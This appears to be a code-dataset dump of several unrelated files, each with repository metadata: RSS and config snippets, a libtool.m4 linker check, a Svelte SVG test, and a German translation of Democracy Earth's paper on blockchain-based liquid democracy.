</item>
</cfloop>
</channel>
</rss>
</cfoutput></cfprocessingdirective><cfabort> | ColdFusion | 3 | fintecheando/RoomBooking | views/api/rss2.xml.cfm | [
"Apache-1.1"
] |
## Shaded JSON
This source was originally taken from `com.vaadin.external.google:android-json` which
provides a clean room re-implementation of the `org.json` APIs and does not include the
"Do not use for evil" clause.
| AsciiDoc | 1 | Martin-real/spring-boot-2.1.0.RELEASE | spring-boot-project/spring-boot-tools/spring-boot-configuration-processor/src/json-shade/README.adoc | [
"Apache-2.0"
] |
## libtool.m4 - Configure libtool for the host system. -*-Shell-script-*-
## Copyright (C) 1996-1999,2000 Free Software Foundation, Inc.
## Originally by Gordon Matzigkeit <[email protected]>, 1996
##
## This program is free software; you can redistribute it and/or modify
## it under the terms of the GNU General Public License as published by
## the Free Software Foundation; either version 2 of the License, or
## (at your option) any later version.
##
## This program is distributed in the hope that it will be useful, but
## WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
## General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with this program; if not, write to the Free Software
## Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
##
## As a special exception to the GNU General Public License, if you
## distribute this file as part of a program that contains a
## configuration script generated by Autoconf, you may include it under
## the same distribution terms that you use for the rest of that program.
# No, PostgreSQL doesn't use libtool (yet), we just borrow stuff from it.
# This file was taken on 2000-10-20 from the multi-language branch (since
# that is the branch that PostgreSQL would most likely adopt anyway).
# --petere
# ... bunch of stuff removed here ...
# PGAC_PROG_LD - find the path to the GNU or non-GNU linker
AC_DEFUN([PGAC_PROG_LD],
[AC_ARG_WITH(gnu-ld,
[ --with-gnu-ld assume the C compiler uses GNU ld [[default=no]]],
test "$withval" = no || with_gnu_ld=yes, with_gnu_ld=no)
AC_REQUIRE([AC_PROG_CC])dnl
AC_REQUIRE([AC_CANONICAL_HOST])dnl
dnl ###not for PostgreSQL### AC_REQUIRE([AC_CANONICAL_BUILD])dnl
ac_prog=ld
if test "$GCC" = yes; then
# Check if gcc -print-prog-name=ld gives a path.
AC_MSG_CHECKING([for ld used by GCC])
case $host in
*-*-mingw*)
# gcc leaves a trailing carriage return which upsets mingw
ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
*)
ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
esac
case "$ac_prog" in
# Accept absolute paths.
changequote(,)dnl
[\\/]* | [A-Za-z]:[\\/]*)
re_direlt='/[^/][^/]*/\.\./'
changequote([,])dnl
# Canonicalize the path of ld
ac_prog=`echo $ac_prog| sed 's%\\\\%/%g'`
while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do
ac_prog=`echo $ac_prog| sed "s%$re_direlt%/%"`
done
test -z "$LD" && LD="$ac_prog"
;;
"")
# If it fails, then pretend we aren't using GCC.
ac_prog=ld
;;
*)
# If it is relative, then search for the first ld in PATH.
with_gnu_ld=unknown
;;
esac
elif test "$with_gnu_ld" = yes; then
AC_MSG_CHECKING([for GNU ld])
else
AC_MSG_CHECKING([for non-GNU ld])
fi
AC_CACHE_VAL(ac_cv_path_LD,
[if test -z "$LD"; then
IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS="${IFS}${PATH_SEPARATOR-:}"
for ac_dir in $PATH; do
test -z "$ac_dir" && ac_dir=.
if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
ac_cv_path_LD="$ac_dir/$ac_prog"
# Check to see if the program is GNU ld. I'd rather use --version,
# but apparently some GNU ld's only accept -v.
# Break only if it was the GNU/non-GNU ld that we prefer.
if "$ac_cv_path_LD" -v 2>&1 < /dev/null | egrep '(GNU|with BFD)' > /dev/null; then
test "$with_gnu_ld" != no && break
else
test "$with_gnu_ld" != yes && break
fi
fi
done
IFS="$ac_save_ifs"
else
ac_cv_path_LD="$LD" # Let the user override the test with a path.
fi])
LD="$ac_cv_path_LD"
if test -n "$LD"; then
AC_MSG_RESULT($LD)
else
AC_MSG_RESULT(no)
fi
test -z "$LD" && AC_MSG_ERROR([no acceptable ld found in \$PATH])
PGAC_PROG_LD_GNU
])
AC_DEFUN([PGAC_PROG_LD_GNU],
[AC_CACHE_CHECK([if the linker ($LD) is GNU ld], ac_cv_prog_gnu_ld,
[# I'd rather use --version here, but apparently some GNU ld's only accept -v.
if $LD -v 2>&1 </dev/null | egrep '(GNU|with BFD)' 1>&5; then
ac_cv_prog_gnu_ld=yes
else
ac_cv_prog_gnu_ld=no
fi])
with_gnu_ld=$ac_cv_prog_gnu_ld
])
# ... more stuff removed ...
| M4 | 4 | wapache-org/greenplum-gpdb | config/libtool.m4 | [
"PostgreSQL",
"Apache-2.0"
] |
server {
server_name sslon.com;
ssl on;
ssl_certificate snakeoil.cert;
ssl_certificate_key snakeoil.key;
}
| DIGITAL Command Language | 4 | tsrivishnu/certbot | certbot-nginx/certbot_nginx/tests/testdata/etc_nginx/sites-enabled/sslon.com | [
"Apache-2.0"
] |
// this looks like another JSDOM quirk — svg.className = 'foo' behaves
// differently from browsers. So this test succeeds even when it should fail
export default {
html: "<svg class='foo'></svg>",
test({ assert, target }) {
const svg = target.querySelector('svg');
assert.equal(svg.namespaceURI, 'http://www.w3.org/2000/svg');
assert.equal(svg.getAttribute('class'), 'foo');
}
};
| JavaScript | 4 | vatro/svelte | test/runtime/samples/svg-class/_config.js | [
"MIT"
] |
<pre>
DEF: 1
Titel: The Social Smart Contract
Autor: @DemocracyEarth.
Kommentarzusammenfassung: No comments yet.
Status: Aktiv
Typ: Paper
Erstellt: 2017-06-08
Lizenz: MIT
Ersetzt: 0
</pre>
=The Social Smart Contract.=
An Initial Rights Offering from [http://democracy.earth Democracy Earth Foundation].
==i. Abstrakt.==
In einer Welt, in der es gelungen ist, Finanzvermögen zu globalisieren und gleichzeitig politische Rechte in Territorien einzuschließen, müssen wir neue Modelle demokratischer Regierungen entwickeln, die es der Menschheit ermöglichen, zusammenzuarbeiten und drängende globale Probleme anzugehen. Die Democracy Earth Foundation entwickelt freie, quelloffene Software für unbestechliche Blockchain-basierte Entscheidungsfindung (Abstimmungen) innerhalb von Institutionen aller Größenordnungen, von der lokalsten, die zwei Personen betrifft, bis zur globalsten, die uns alle betrifft. Die ungleiche Verteilung von Chancen rund um den Globus aufgrund der ständigen Konfrontation zwischen nationalen Regierungen hat zu einem beschleunigten Klimawandel, steigender Ungleichheit, Terrorismus und erzwungenen Migrationen geführt. Die Democracy Earth Foundation ist der Ansicht, dass die Technologie Bitcoin als programmierbares Geld ohne Zentralbank und Ethereum das intelligente Verträge ermöglicht ohne die Notwendigkeit von Gerichten, eine neue Ebene eröffnet, und zwar unbestechliche Abstimmungen über die Grenzen von Nationalstaaten hinaus. Dieses transnationale Netzwerk wird im Einklang mit der persönlichen Souveränität seiner Mitglieder handeln und deren Menschenrechte mit Verschlüsselung schützen. In unserem Initial Rights Offering bieten wir einen Token namens ''vote'' an, der jedem Menschen Mitwirkungsrechte einräumt und dessen Hauptfunktion die Entscheidungsfindung ist. Unser Vorschlag führt eine kryptografisch induzierte Gleichheit ein: Solange jede Person in der Lage ist, ihre selbstsouveräne Identität zu validieren, erhält sie einen entsprechenden Anteil an ''votes'' (Stimmen), der dem Anteil jedes aktiven Teilnehmers im Netzwerk entspricht. Wir definieren einen ''Proof of Identity''-Prozess, der eine zentrale Autorität vermeidet, indem wir das Konzept des ''Attention Mining'' einführen das Anreize für die Teilnehmer schafft das Vertrauen in die ''Stimmen'' zu stärken, indem sie einfache Tests durchführen, die darauf abzielen Replikanten zu erkennen. Schließlich werden ''votes'' an gültige Teilnehmer unter einem ''Universal Basic Income''-Mechanismus verteilt, mit dem Ziel ein angemessenes Gleichgewicht in der historischen Spannung zwischen Geld und Politik zu finden. Wir streben nichts Geringeres als eine echte demokratische Regierungsführung für das Internetzeitalter an, einen der grundlegenden Bausteine für einen erreichbaren globalen Frieden und Wohlstand, der aus einem Bogen technologischer Innovationen hervorgeht, die verändern werden, was es bedeutet Mensch auf der Erde zu sein.
==ii. Inhalt.==
Dieser Text ist in drei Teile gegliedert, von denen jeder auf eine andere Leserschaft abzielt (wobei es selbstverständlich Personen gibt, die sich für mehr als nur einen Teil interessieren).
* [[#Manifesto|Manifesto]]: Für Idealisten. Diagnostiziert den globalen politischen Kontext und plädiert für einen Paradigmenwechsel.
* [[#Paper|Paper]]: Für Konstrukteure. Beschreibt die Bausteine für ein System, das von jedem und überall implementiert werden kann.
* [[#Execution|Execution]]: Für Pragmatiker. Legt fest, wie diese Ideen ausgeführt werden können um eine Wirkung zu erzielen.
Wir beabsichtigen nicht, diesen Text für uns zu beanspruchen. Er wird unter einer Open-Source-Lizenz veröffentlicht und wir begrüßen Beiträge von jedermann mit dem gleichen Ziel, dass dieses Dokument ein lebendiger Fahrplan für eine planetarische Verwaltung wird. Demokratie als die Fähigkeit, einander im größtmöglichem Umfang zu vertrauen ist eine entscheidende Kraft die den Lauf der Geschichte bestimmt. Unsere Mission hallt dringlich über den ganzen Globus und umfasst die gesamte Menschheit: die Notwendigkeit, unser gemeinsames Zuhause zu einem Ort friedlicher Koexistenz zu machen. Die [http://democracy.earth Democracy Earth Foundation] hat [[#Hintergrund|ausführliche Forschung]] zu Wahlsystemen, Cyberpolitik und Blockchain-Netzwerken betrieben; wir stehen an der Spitze einer öffentlichen Diskussion über das Internet als planetarische Gerichtsbarkeit.
In Anlehnung an [https://twitter.com/lsukernik/status/892101885771034628 das Beispiel von Satoshi Nakamoto] haben wir uns vorgenommen, vor dem Teilen unserer Ideen in schriftlicher Form zunächst Code zu schreiben, um richtig zu verstehen, was getan werden kann. Zu diesem Zweck wurden seit Oktober 2015 mehr als [https://github.com/DemocracyEarth/sovereign 30.000 Zeilen Code geschrieben], was wiederum unsere Forschung, Anwendungsfälle und die hier vorgestellten Ideen vorangetrieben hat. Dies ist unser Vorschlag.
<div id="Hintergrund"></div>
==iii. Hintergrund.==
Wir haben Pionierarbeit für die digitale Demokratie geleistet und eine der bekanntesten Open-Source-Demokratiesoftware [https://github.com/search?utf8=%E2%9C%93&q=topic%3Ademocracy&type=Repositories nach dem Ranking der GitHub-Community] entwickelt, darunter das ursprüngliche Design von [https://www.youtube.com/watch?v=qNCgfd7dNb0 DemocracyOS], einem einfachen Projekt für direkte Demokratie, das wir 2012 geschaffen haben.
Wir gründeten die erste digitale politische Partei auf dem Amerikanischen Kontinent, die [http://partidodelared.org Partido de la Red] (Peers Party), die 2013 zu ihrer ersten Wahl in der Stadt [http://www.wired.co.uk/article/e-voting Buenos Aires] antrat. Im Jahr 2014 teilten wir unsere Erfahrungen in [https://www.ted.com/talks/pia_mancini_how_to_upgrade_democracy_for_the_internet_era TED] Talks und erreichten über 1,2 Millionen Zuschauer. In den Jahren 2015 und 2016 finanzierten [http://ycombinator.com Y Combinator] und [http://ffwd.org Fast Forward] aus dem Silicon Valley unsere Bemühungen die [http://democracy.earth Democracy Earth Foundation] zu gründen, eine gemeinnützige Organisation, die sich der Mission einer grenzenlosen Regierungsführung verschrieben hat.
Unsere Erfahrung, die sowohl die politischen als auch die technologischen Herausforderungen der Demokratie betrifft, hat uns dazu gebracht über die Idee und die Umsetzung nachzudenken, wie wir eine politische Partei mit Hilfe von Smart Contracts aufbauen können, oder vielmehr eine leichtgewichtige Form der Regierung, die jeder zu geringen Kosten implementieren kann. Wir haben mit der Entwicklung von [http://sovereign.software Sovereign] begonnen, einer '''''Blockchain-Liquid-Democracy''''', die direkte Abstimmungen zu Themen ermöglicht und die Möglichkeit bietet, Stimmen zu spezifischen Themen über ein sicheres Netzwerk ohne zentrale Autorität an andere Teilnehmer zu delegieren. Durch die Verwendung von Token, die auf einer Blockchain abgebildet werden, werden alle Stimmen zensurresistent und jedem Wähler können sofortige Revisionsrechte eingeräumt werden, ohne das ein Zugang zu Servern oder privater Infrastruktur erforderlich ist. Wodurch das System offen und transparent für alle wird. Unsere Arbeit wird von Open-Source-Software-Entwicklungspraktiken angetrieben und kooperiert mit wichtigen Projekten, die darauf abzielen Identität in dezentralen Umgebungen zu sichern. Unter anderem auch Bemühungen von [https://blockstack.org/blockstack_usenix16.pdf Blockstack], [http://civic.com Civic] und [https://whitepaper.uport.me/uPort_whitepaper_DRAFT20170221.pdf Consensys].
[[File:/images/sovereign.png|Sovereign.]]
Die [https://github.com/DemocracyEarth/sovereign Codebasis von Sovereign] liefert eine anpassungsfähige Mobil- und Desktop-Anwendung für Wähler und Organisationen und standardisiert unbestechliche Entscheidungsfindung in einer Blockchain-basierten Demokratie. Unser Ziel ist es, weiterhin den Weg für Anwendungen zu ebnen, die [https://www.usenix.org/legacy/event/sec08/tech/full_papers/adida/adida.pdf kryptographisch-offene Prüfungsabstimmung (open-audit voting)] ermöglichen und unsere Software in Blockchains zu integrieren, welche in der Lage sind die souveränen Rechte der Nutzer zu garantieren.
----
<div id="Manifest"></div>
==1. Manifest.==
<blockquote>
Die Demokratie ist immer ein ständiger Entwicklungsprozess, sie ist nie eine absolute Idee. Sonst wäre sie eine totalitäre Ideologie wie alle anderen auch.
</blockquote>
'''[https://en.wikipedia.org/wiki/Jos%C3%A9_Mujica José Mujica]''', Präsident von Uruguay (2010–2015).
Die derzeitigen demokratischen Systeme, die Gesellschaften unter der territorialen Herrschaft von Nationalstaaten regieren, stagnieren in Bezug auf eine Beteiligung der Bevölkerung und führen zu einer zunehmenden Polarisierung. Wählerschaften werden mit maßgeschneiderten Medien versorgt, die ihre eigenen endogamischen Ansichten befriedigen und die Gesellschaft auseinandertreibt, während Diskurs und sachliche Debatte durch eine [https://www.wikiwand.com/en/Post-truth_politics Post-Truth]-Mentalität ersetzt werden. Dies ist eine Folge der drastischen Ausweitung der Kommunikationskanäle, die mit immer kürzeren Aufmerksamkeitsspannen einhergeht und eine durchdachte Analyse entbehrlich macht. Die zentralisierte Informationsverteilung des 20. Jahrhunderts schuf einheitliche Narrative, Realitäten und Identitäten. Das Internet hat sie gespalten. Die Instanzen der politischen Partizipation in den sogenannten modernen Demokratien sind nicht für informationsreiche Kontexte geeignet und haben sich seit ihren Anfängen nicht verändert.
[[File:/images/bipartisan-votes-us-congress.png|Bipartisan votes in the U.S. House of Representatives since 1981, source: The Rise of Partisanship (2015).]]
Das Engagement über die traditionellen Kanäle ist bei den jüngeren Generationen schwächer, [http://www.economist.com/news/essays/21596796-democracy-was-most-successful-political-idea-20th-century-why-has-it-run-trouble-and-what-can-be-do sie gehen oft nicht wählen und engagiert sich kaum in der Parteipolitik]. Inzwischen nimmt der Online-Aktivismus zu, wobei die sozialen Medien zur dominanten Plattform für politische Auseinandersetzungen werden. Dazu gehören Facebook und Twitter (wo die Verbreitung von Klatsch und Tratsch, ''Fake News'', ''Bots'', ''Trolling'' und anderen Kampagnen vorherrscht) und anderen aufkommenden Echokammern wie [http://www.4chan.org/ 4chan.org], wo die Anonymität zu [https://en.wikipedia.org/wiki/4chan#Controversies Cybermobbing, Gewaltandrohungen und anderen Kontroversen] führen, oder [https://gab.ai/ gab.ai], die die ''alt-right''-Community in den USA konsolidierte. Unnötig zu sagen: Endogamie macht die Polarisierung nur stärker und unsere tribalisierten Gesellschaften zeigen die Tendenz, die Wahrheit weiter zu relativieren [https://www.nytimes.com/2017/06/01/climate/trump-paris-climate-agreement.html und damit den Erhalt der Ressourcen zu riskieren] und somit auch das Überleben zukünftiger Generationen.
Demokratische Prozesse bei Wahlen bei denen viel auf dem Spiel steht sind oft anfällig für betrügerisches Verhalten, da [https://en.wikipedia.org/wiki/Gerrymandering "Gerrymandering"] auf der Tagesordnung ist und eine starke Verbindung zwischen den Ausgaben der [https://www.ineteconomics.org/uploads/papers/WP_48_Ferguson_et_al.pdf großen politischen Parteien und dem Prozentsatz der Stimmen die sie bekommen] besteht. In Entwicklungsländern werden Wahlurnen von kleinen Parteien entfernt, zerbrochen und sogar verbrannt. In der Hoffnung die Chancen kleinerer Konkurrenten zu schmälern.
Dieses Dokument schlägt eine Lösung vor, die sowohl die politischen als auch die technischen Probleme angeht, die derzeit die Demokratie in der Welt schwächen. Indem sie eine Alternative anbietet die direkt von den Bürgern angenommen und mit Hilfe von Peer-to-Peer Netzwerken umgesetzt werden kann. Da das Internet zur dominierenden Kraft in der modernen Politik wird, sehen wir die unabdingbare Notwendigkeit eine digitale Technologie für die Stimmabgabe zu entwickeln, die an jedem geografischen Ort und für Gemeinschaften jeder Größe sicher eingesetzt werden kann.
Mit dem Wachstum des Internets, welches [http://www.bbc.com/news/technology-32884867 über 3 Milliarden Menschen erreicht ] (weit über Religionen und Nationalstaaten hinaus) und der Entwicklung von verschlüsselten Netzwerken, die als Blockchains bekannt sind, werden unbestechliche Vorgänge ermöglicht, die von jedem ohne Erlaubnis überprüft werden können. Die Menschheit hat keinen Grund daran gehindert zu werden ein grenzenloses Gemeingut aufzubauen, welches den nächsten Evolutionssprung zur demokratischen Regierung in jedem Maßstab ermöglicht. Selbst in Regionen, in denen die Internetdurchdringung unter 50 % liegt, basiert die digitale Kluft nicht auf sozioökonomischen Faktoren, sondern vielmehr auf eine Kluft zwischen den Generationen. Rick Falkvinge, Gründer der [https://en.wikipedia.org/wiki/Pirate_Party Piratenpartei]: sagt "Politik bewegt sich mit eisiger Geschwindigkeit: Nichts scheint zu passieren, bis plötzlich ein gewaltiger Lärm die Aufmerksamkeit aller erregt. Sie ist langsam, weil es oft dauert, bis eine Generation stirbt, damit die nächste übernehmen kann. Heute leben wir in einer Welt, in der die ''Offline-Generation'' das Sagen hat und die ''Online-Generation'' heranwächst".
[[File:/images/age internet.png|The digital divide is generational more than socioeconomic, source: Pew Internet & American Life Project Surveys April 2000-April 2012.]]
Neue Formen des Regierens müssen das vernetzte Gemeingut, was die Menschheit miteinander verbindet berücksichtigen und das Erbe der nationalen Grenzen und deren inhärente Unfähigkeit drängende globale Probleme wie Klimawandel, steigende Ungleichheit, Terrorismus, Automatisierung und erzwungene Migrationen anzugehen. Die ungleiche Verteilung von Chancen rund um den Globus aufgrund der ständigen Konfrontation zwischen nationalen Regierungen hat dazu geführt, dass diese Themen auf der globalen Agenda auftauchen. Wir glauben, dass die Technologie [http://bitcoin.com/bitcoin.pdf Bitcoin] als Währung ohne Zentralbank und [http://ethdocs.org/en/latest/index.html Ethereum], als Technologie welche intelligente Verträge ohne die Notwendigkeit von Gerichten ermöglicht, eine neue Ebene eröffnen, nämlich unbestechliche Wahlen über Grenzen von Nationalstaaten hinaus. Dieses transnationale Netzwerk wird im Einklang mit der persönlichen Souveränität seiner Mitglieder handeln und deren Menschenrechte durch Verschlüsselung schützen.
===1.1 Vermächtnis.===
Wir können Wahlen, die von Staaten, Provinzen und Stadtgemeinden durchgeführt werden als Demokratien betrachten in denen wir zu passiven Empfängern eines Monologs reduziert werden. Die Bürger werden aufgerufen während der Wahlen kurz einen Input zu geben: im Wesentlichen die Akteure des gleichen Systems zu akzeptieren oder abzulehnen. Das ist die Bandbreite des alten Systems, das unsere sogenannten ''modernen Demokratien'' ausmacht. Unter diesen Systemen ist weniger als ein Prozent der Bevölkerung in der Lage über Gesetze abzustimmen oder Budgets auszuführen, während der Rest gesetzlich gezwungen ist seine vollen Bürgerrechte an eine repräsentative Minderheit auszulagern die eventuell herausfindet, wie sie sich selbst verewigen kann.
Die Technologie hinter "repräsentativen Demokratien" kann in zwei Gruppen eingeteilt werden:
* '''Analoge Wahlen''': in der Regel Papierstimmzettel und Wahlurnen mit Behörden, die für die Auszählung der Stimmen und die Meldung von Wahlbetrug verantwortlich sind. Obwohl diese Systeme in entwickelten Nationen stabil sind, leiden sie unter einem starken Mangel an Beteiligung. Durch Hürden wie z.B die Notwendigkeit sich zu registrieren um zu wählen, wird ein Großteil der Stimmberechtigten Wähler ausgebremst. Die Behörden manipulieren auch die Wahlbezirke, indem sie Umfragedaten im Vorfeld der Wahlen auswerten. Auch wenn diese Systeme leichter zu überprüfen sind, bedeutet dies auch, dass sie leichter zu korrumpieren sind: In Entwicklungsländern werden "analoge Wahlen" z.B von Mobs unterwandert, die große Parteien angehören. Sie verbrennen Wahlurnen oder lassen sie "verschwinden", Prüfer von kleineren Konkurrenten werden bedrohen und wichtige Bezirke werden von Gewalt überrollt. Nach unserer Erfahrung mit der [http://partidodelared.org Partido de la Red], die bei den Wahlen 2013 für den Stadtkongress von Buenos Aires kandidierte, fanden wir heraus, dass keine Anstrengung wichtiger war als genügend Parteiprüfer zu haben um jeden Bezirk in der Stadt abzudecken, da sonst Stimmen gestohlen werden würden. Je größer das Gebiet einer Wahl ist, desto unwahrscheinlicher ist es, dass ein analoges System einen fairen Prozess garantieren kann. Außerdem beschränken die hohen Implementierungskosten die Wahlen auf eine Handvoll Tage im Jahr (wenn überhaupt), was die Demokratie eher zur Ausnahme als zur Norm macht, wenn es darum geht wie Regierungen tatsächlich gewählt werden. Außerdem hat der traditionelle analoge Wahlprozess die Form einer Pipeline, in der die Stimmen von den Händen des Wählers zu einem zentralen Server wandern. In dieser Pipeline werden die Stimmen von jedem Wahlgang manuell auf Zetteln zusammengefasst, gescannt und an ein zentrales Büro übertragen werden. Dort werden dann die empfangenen Stimmzettel manuell in einen zentralen Server eingegeben, der die Auszählung der Stimmen vornimmt. In diesem Schema wird eine Stimme beim Durchlaufen dieses Prozesses von einer beliebigen Anzahl verschiedener menschlicher Akteure bearbeitet, von denen jeder absichtlich oder unabsichtlich an jedem Punkt Betrug begehen könnte. Elektronische Wahlen zielen darauf ab diese Pipeline zu verkürzen, mit dem Ziel, dass kein Mensch die Stimmen bearbeiten kann: Die Wähler interagieren mit einem Gerät (z. B. einer elektronischen Wahlmaschine), das die verschlüsselten Stimmen an einen zentralen Server oder an ein gemeinsames Verzeichnis (z. B. eine Blockchain) überträgt.
[[File:/images/nation-state-voter-turnout.png|Territorial voting.]]
* '''Elektronische Wahl''': Vorschläge, die Lösungen auf der Basis von elektronischen Wahlmaschinen anbieten zielen darauf ab, den Prozess durch eine digitale Schnittstelle abzusichern, jedoch mit der gleichen Logik von wenigen Wahlen pro Jahr. Mit dem Nettoeffekt, dass die neue Technologie dem gleichen Zweck dient wie die alte Wahltechnologie, nämlich dem der Legitimierung von Berufspolitikern. Maschinen können effektiv helfen, [https://en.wikipedia.org/wiki/Clientelism klientelistische] Techniken zu vermeiden, die zur Korrumpierung einer Wahl eingesetzt werden. Aber sie eröffnen eine ganz neue Angriffsfläche, indem sie die Stimmzettel dem Risiko unentdeckter Hacks und ausländischer Einmischung aussetzen. Experten auf diesem Gebiet ([https://www.ndi.org/e-voting-guide/examples/constitutionality-of-electronic-voting-germany einschließlich des Bundesgerichtshofs]) empfehlen die Verwendung von elektronischen Wahlmaschinen die eine Papierspur [https://www.amazon.com/Voting-Wars-Florida-Election-Meltdown/dp/0300198248 oder ein alternatives Medium] zum Nachweis der Stimmabgabe hinterlassen. Ein weiterer Ansatz für sichere und transparente Wahlsysteme sind Bemühungen Wahlmaschinen [https://www.nytimes.com/2017/08/03/opinion/open-source-software-hacker-voting.html open source und von der Öffentlichkeit überprüfbar] zu machen. Die Technologie kann auch direkt von den Bürgern eingeführt werden, indem sie Smartphone-Apps verwenden, um eine ''parallele Stimmauswertung'' durchzuführen, um Teilergebnisse über verschiedene Wahllokale hinweg zu melden. Dies dient dann als Absicherung gegen offizielle Berichte. Es liegt in der Natur der Sache, dass Computersysteme Protokollierungen vornehmen und das Wahlgeheimnis nicht garantieren können. Aus diesem Grund sollte jede Protokollierung eines digitalen Wahlsystems standardmäßig öffentlich und vertrauenswürdig sein und mit einem verteilten Ledger arbeiten, das die Ausgaben eines verteilten Netzwerks synchronisiert. Kurz gesagt: eine Blockchain.
Traditionelle analoge und elektronische Wahlen sind ausschließlich für langfristige, repräsentative Demokratien mit Wahlperioden von 4 bis 6 Jahren gedacht. Aber die zugrundeliegende Dynamik dieser Systeme ist, dass Beamte von oben nach unten vorausgewählt werden und den Bürgern zur Wahl gestellt werden. Das Argument, den Bürgern fehle das Wissen und die Vorbereitung um politische Verantwortung wahrzunehmen und sie hätten in ihrem Alltag nicht genug Zeit sich in öffentlichen Angelegenheiten zu engagieren ist wenig stichhaltig: Oftmals benötigen Beamte für die Ausarbeitung von Gesetzen den Input von Experten auf bestimmten Gebieten. Außerdem leben wir dank Internet, Mobiltelefonen, sozialen Medien und Satelliten in einer Welt voller Bürger, die sich routinemäßig an Debatten über politische Themen beteiligen (wenn auch ohne die Chance auf echte Auswirkungen).
===1.2 Geopolitik.===
Eine Folge der US-Präsidentschaftswahlen 2016 ist, dass die [https://www.theguardian.com/us-news/2016/dec/16/qa-russian-hackers-vladimir-putin-donald-trump-us-presidential-election Angst vor ausländischer Einmischung] zu einer führenden Bedrohung für die Sicherheit von Wahlprozessen geworden ist. Doch obwohl Wahlmaschinen ein extrem verwundbares Ziel sind ([https://blog.horner.tj/post/hacking-voting-machines-def-con-25 defcon 25 hatte eine große Auswahl an Wahlmaschinen, alle wurden ausgenutzt]), haben ausländische Angreifer eine einfachere Methode als das Hijacking von Wahlmaschinen, da die direkte Manipulation von Stimmen potenziell zurückverfolgt werden kann, sehr teuer ist und nur schwer in einem Umfang ausgeführt werden kann, der einen Angreifer zufriedenstellt. Ein effizienterer Ansatz ist die [https://en.wikipedia.org/wiki/2016_Dyn_cyberattack Einschüchterung der Öffentlichkeit durch den Ausfall der Internet-Infrastruktur wenige Tage vor einer Wahl]. Das kann dazu beitragen, dass ein Kandidat bevorzug wird. Diese Art von Cyberangriff ist in der in der Lage Verschiebung in der Wählerwahrnehmung auszulösen und ist fast unmöglich als politische Subversion zurückzuverfolgen. Das offenbart den inhärenten Konflikt, den eine digitale Gesellschaft mit territorialen Demokratien hat
[[File:/images/hacked-america.png|Impact of DNS cyberattack (October 21, 2016) & Presidential Election (November 6, 2016).]]
Dies geschah zwei Wochen vor der US-Wahl 2016, als ein Botnetz das über eine große Anzahl von Internet-of-Things-Geräten (IoT) koordiniert wurde einen [https://en.wikipedia.org/wiki/Denial-of-service_attack#Distributed_DoS Distributed Denial of Service (DDoS)-Angriff] ausführte. Das betraf den Domain Name System (DNS)-Anbieter Dyn Inc. und brachte wichtige Websites in den USA zum Erliegen, darunter Amazon, Paypal, New York Times und Wall Street Journal.
===1.3 Land vs. Cloud.===
<blockquote>
In der nahen Zukunft fließen Elektronen und Licht frei, und die Computernetzwerke der Unternehmen stellen die Sterne in den Schatten. Trotz großer Fortschritte in der Computerisierung sind Länder und Rassen noch nicht obsolet...
</blockquote>
[http://www.imdb.com/title/tt0113568/ '''''Ghost in the shell'''''], graphic novel (1995).
Das 21. Jahrhundert ist Zeuge eines wachsenden Konflikts zwischen ''The Land'': Regierungen, die das Recht auf territoriale Zuständigkeiten monopolisieren, indem sie den freien Verkehr von physischen Gütern und Körpern einschränken; und ''The Cloud'': globale Konzerne, die den Zugang zu Benutzerdaten monopolisieren, die in der Lage sind, Ideen über personalisierte Werbung zu verfolgen und gezielt anzusprechen. In dieser Welt ist Freiheit eine Illusion: Unsere Körper gehören den Regierungen, unsere Köpfe den Konzernen. Berühmt-berüchtigte Schlachten aus diesem Konflikt sind der [https://en.wikipedia.org/wiki/FBI%E2%80%93Apple_encryption_dispute ''Apple gegen FBI'']-Fall, bei dem es um den Jailbreak eines verschlüsselten Telefons ging; oder der historische Streit zwischen [https://www.washingtonpost.com/news/the-switch/wp/2017/03/06/trumps-new-travel-ban-raises-the-same-silicon-valley-objections/?utm_term=.0854c54536d6 Silicon Valley's Kosmopolitismus, der flexible Visa anstrebt und Washington D. C.'s Nationalismus, der zum Bau von Mauern an der Staatgrenze führt]. Während sich dieses Szenario entfaltet spielt die Verschlüsselung zunehmend eine wichtige Rolle um die Menschenrechte der digitalen Bürger zu schützen. Das kann Bürgern helfen, aus der ''Cloud versus Land''-Falle auszubrechen.
[[File:/images/the-land.png|The land: monopolies on force.]]
Die Ursprünge der modernen Kryptografie gehen auf den Zweiten Weltkrieg zurück, als Alan Turing den ersten Prototyp von einem Computer baute, um die Nachrichten von den Nazis zu entschlüsseln. Seitdem wurde Verschlüsselung in den USA auf die gleiche Weise gesetzlich geregelt wie traditionelle Waffen: Sie ist in der ''Munitions List'' der [https://www.pmddtc.state.gov/regulations_laws/itar.html International Traffic in Arms Regulations] enthalten und die dazugehörende Software und Hardware wird mit Exportbeschränkungen belegt. Obwohl Verschlüsselung oft als ein Recht betrachtet wird das unter dem Ersten Verfassungszusatz geschützt ist (mit dem Argument, dass "Code gleich Sprache ist"), zeigt seine abwehrende Eigenschaft, dass es auch unter dem Schirm des Zweiten Verfassungszusatzes geschützt werden muss, da es die gleiche Argumentation ein "Recht, Waffen zu tragen" hat. In einer Ära, in der [http://twitter.com/Snowden Whistleblower] aufdecken, wie der "Tiefe Staat" Bürger überall auf der Welt ausspioniert, ist verschlüsselte Information die einzige realistische Möglichkeit, um vor Regierungsmissbrauch geschützt zu sein (und die Unternehmen, die sie unterstützen).
[[File:/images/the-cloud.png|The cloud: monopolies on data.]]
